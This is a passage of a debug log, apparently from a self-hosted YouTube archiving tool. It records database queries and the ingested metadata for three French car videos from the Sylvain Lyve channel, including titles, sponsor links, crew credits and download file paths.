shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14568] 07:40:35.744 [debug] Current batch of media processed. Will check again in 1000ms 07:40:36.746 [debug] Current batch of media processed. Will check again in 1000ms 07:40:37.747 [debug] Current batch of media processed. Will check again in 1000ms 07:40:38.748 [debug] Current batch of media processed. Will check again in 1000ms 07:40:39.749 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "duration" => 1144, "filename" => "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", "id" => "BP5SQF4FJA8", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=BP5SQF4FJA8", "playlist_index" => 17, "timestamp" => 1765473301, "title" => "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "upload_date" => "20251211"} 07:40:39.752 [debug] QUERY OK source="sources" db=1.6ms queue=0.4ms idle=1292.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:39.755 [debug] QUERY OK source="sources" db=2.3ms queue=0.3ms idle=477.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:39.758 [debug] QUERY OK source="media_items" db=1.7ms queue=0.4ms idle=481.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-11 17:15:01Z], 2] 07:40:40.080 [debug] QUERY OK source="media_items" db=320.5ms idle=484.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "c76cc9e6-12e9-448b-a578-30004ce1ae5d", "BP5SQF4FJA8", 1144, false, "https://www.youtube.com/watch?v=BP5SQF4FJA8", 17, "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", false, false, false, 2, [], 98, ~U[2025-12-11 17:15:01Z], ~U[2026-04-20 05:40:39Z], ~U[2026-04-20 05:40:39Z], "Goûtez HOLY 👉 https://fr.weareholy.com/SylvainLyve/Youtube\nUtilisez le code \"SylvainLyve\" pour 10% de réduction et \"SylvainLyve5\" pour 5€ de réduction lors de votre 1ère commande\nCollaboration Commerciale\n-------------------------------\n\nUn grand merci à Joffrey pour le contact et l'accès à la voiture\nInstagram : https://www.instagram.com/jlmracing06/\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage vidéo : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nProduction : Anaelle Le Magorou\nImage au sol : Lucas Martin\nImages aériennes : Alex Bouton\nIngénieur son : Alan Poirier\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PORSCHE #RS #PETARD", "Porsche Cayman GT4 RS : LE DERNIER PÉTARD", "BP5SQF4FJA8", 1144, false, "https://www.youtube.com/watch?v=BP5SQF4FJA8", "/downloads/Sylvain Lyve/2025-12-11 Porsche Cayman GT4 RS : LE DERNIER PÉTARD/Porsche Cayman GT4 RS : LE DERNIER PÉTARD [BP5SQF4FJA8].mkv", false, 2, ~U[2025-12-11 17:15:01Z]] 07:40:40.083 [debug] QUERY OK source="sources" db=2.1ms queue=0.1ms idle=617.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:40.086 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.2ms idle=331.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:40.088 [debug] QUERY OK source="media_items" db=1.2ms queue=0.3ms idle=331.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13772] 07:40:40.089 [debug] Current batch of media processed. Will check again in 1000ms 07:40:41.090 [debug] Current batch of media processed. Will check again in 1000ms 07:40:42.091 [debug] Current batch of media processed. Will check again in 1000ms 07:40:42.783 [info] {"source":"oban","duration":1815,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 07:40:43.092 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "duration" => 1590, "filename" => "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", "id" => "Bvs2H0Krn3Y", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", "playlist_index" => 18, "timestamp" => 1764868503, "title" => "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "upload_date" => "20251204"} 07:40:43.094 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=1817.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:43.096 [debug] QUERY OK source="sources" db=1.6ms queue=0.1ms idle=1819.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:43.099 [debug] QUERY OK source="media_items" db=2.5ms queue=0.3ms idle=1616.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-04 17:15:03Z], 2] 07:40:43.104 [debug] QUERY OK source="media_items" db=3.3ms queue=0.1ms idle=614.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "57a8f167-473f-40b5-b9f9-d07f63ed7865", "Bvs2H0Krn3Y", 1590, false, "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", 18, "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", false, false, false, 2, [], 98, ~U[2025-12-04 17:15:03Z], ~U[2026-04-20 05:40:43Z], ~U[2026-04-20 05:40:43Z], "Téléchargez REVOLUT gratuitement avec le lien 👉 https://get.revolut.com/z4lF/Sylvain pour débloquer les 20 € et participer au tirage au sort pour gagner 10 000 € (voir conditions générales)\nCollaboration commerciale\n\n--------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\nMontage : Hugo Cuocolo et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#VOITUREDANGEREUSES #CARRERAGT #CRASH", "VTECH : Les voitures les PLUS DANGEREUSES ( encore )", "Bvs2H0Krn3Y", 1590, false, "https://www.youtube.com/watch?v=Bvs2H0Krn3Y", "/downloads/Sylvain Lyve/2025-12-04 VTECH : Les voitures les PLUS DANGEREUSES ( encore )/VTECH : Les voitures les PLUS DANGEREUSES ( encore ) [Bvs2H0Krn3Y].mkv", false, 2, ~U[2025-12-04 17:15:03Z]] 07:40:43.106 [debug] QUERY OK source="sources" db=1.7ms idle=321.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:43.107 [debug] QUERY OK source="media_profiles" db=0.7ms queue=0.3ms idle=12.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 07:40:43.110 [debug] QUERY OK source="media_items" db=2.1ms idle=11.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12973] 07:40:43.111 [debug] Current batch of media processed. Will check again in 1000ms 07:40:44.116 [debug] Current batch of media processed. Will check again in 1000ms 07:40:45.117 [debug] Current batch of media processed. Will check again in 1000ms 07:40:46.119 [debug] Current batch of media processed. Will check again in 1000ms 07:40:47.121 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 1.78, "description" => "Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "duration" => 2854, "filename" => "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", "id" => "AWYXijQpxc0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=AWYXijQpxc0", "playlist_index" => 19, "timestamp" => 1764263701, "title" => "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "upload_date" => "20251127"} 07:40:47.124 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=1627.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 07:40:47.126 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=849.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:47.128 [debug] QUERY OK source="media_items" db=1.3ms queue=0.4ms idle=851.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-27 17:15:01Z], 2] 07:40:47.174 [debug] QUERY OK source="media_items" db=44.1ms idle=854.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "ce65de8e-1517-473f-a4af-776c69b93359", "AWYXijQpxc0", 2854, false, "https://www.youtube.com/watch?v=AWYXijQpxc0", 19, "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", false, false, false, 2, [], 98, ~U[2025-11-27 17:15:01Z], ~U[2026-04-20 05:40:47Z], ~U[2026-04-20 05:40:47Z], "Le lien 👉 https://displate.com/l/sylvainlyve ( la réduction s’applique automatiquement ) ou avec le code SYLVAINLYVE obtenez la plus grosse réduction de l'année dès maintenant sur le site Displate. \n\nPROMOTIONS BLACK FRIDAY*\n1-2 Displates -37%\n3-4 Displates -43%\n5 et plus -46%\nValide sur Textra\n\n*Non valide sur les Éditions Limitées\nCollaboration commerciale \n\n---------------------------------------------------\n\nUn grand merci à la Communauté de Commune du Vexin Normand, la piscine d'Etrépagny notamment Alexandre, Didier, Stéphane, Tania, Bertrand et Pascal pour leur accueil\n\nMerci à l'entreprise Terrem Travaux Publics pour le support logistique, et en particulier Loïc, pour son pilotage de grue exceptionnel\nLe site : https://www.terrem.fr/\n\nEt merci à Arthur et Joseph de la Fabrique Auto pour leurs techniques sous-marines\nInstagram : https://www.instagram.com/lafabriqueauto/\n\nProduction : Anaelle Le Magorou et Héloyse Perfetti\nImage : Lucas Martin\nSon : Alan Poirier\nMontage : Lucas Aubert et Thibault Iacolare\nMontage sponso : Romain Desveaux\nVignette : Quentin Legac\n\n---------------------------------------------------\n\nVous pouvez vous abonner en cliquant sur \" S'abonner \" et commenter en mettant un commentaire dans l'onglet \" commentaires \" \n\n📲 INSTAGRAM https://www.instagram.com/sylvain_lyve/\n📲 TWITTER https://twitter.com/SylvainLyve\n📲 BESTOF https://www.youtube.com/channel/UCd26XTdCltsEpyvZmmGW9Aw\n\n📩 MAIL : contactsylvainlyve@gmail.com\n\nOffre spéciale avec NordVPN le sang : https://nordvpn.com/yugioh\n\nGros bisous\n\n#PISCINE #JAMESBOND #PECHEALASTRA", "Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?", "AWYXijQpxc0", 2854, false, "https://www.youtube.com/watch?v=AWYXijQpxc0", "/downloads/Sylvain Lyve/2025-11-27 Faire flotter une voiture avec des ballons : C'EST POSSIBLE ?/Faire flotter une voiture avec des ballons : C'EST POSSIBLE ? [AWYXijQpxc0].mkv", false, 2, ~U[2025-11-27 17:15:01Z]] 07:40:47.176 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=675.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 07:40:47.177 [debug] QUERY OK source="media_profiles" db=0.7ms 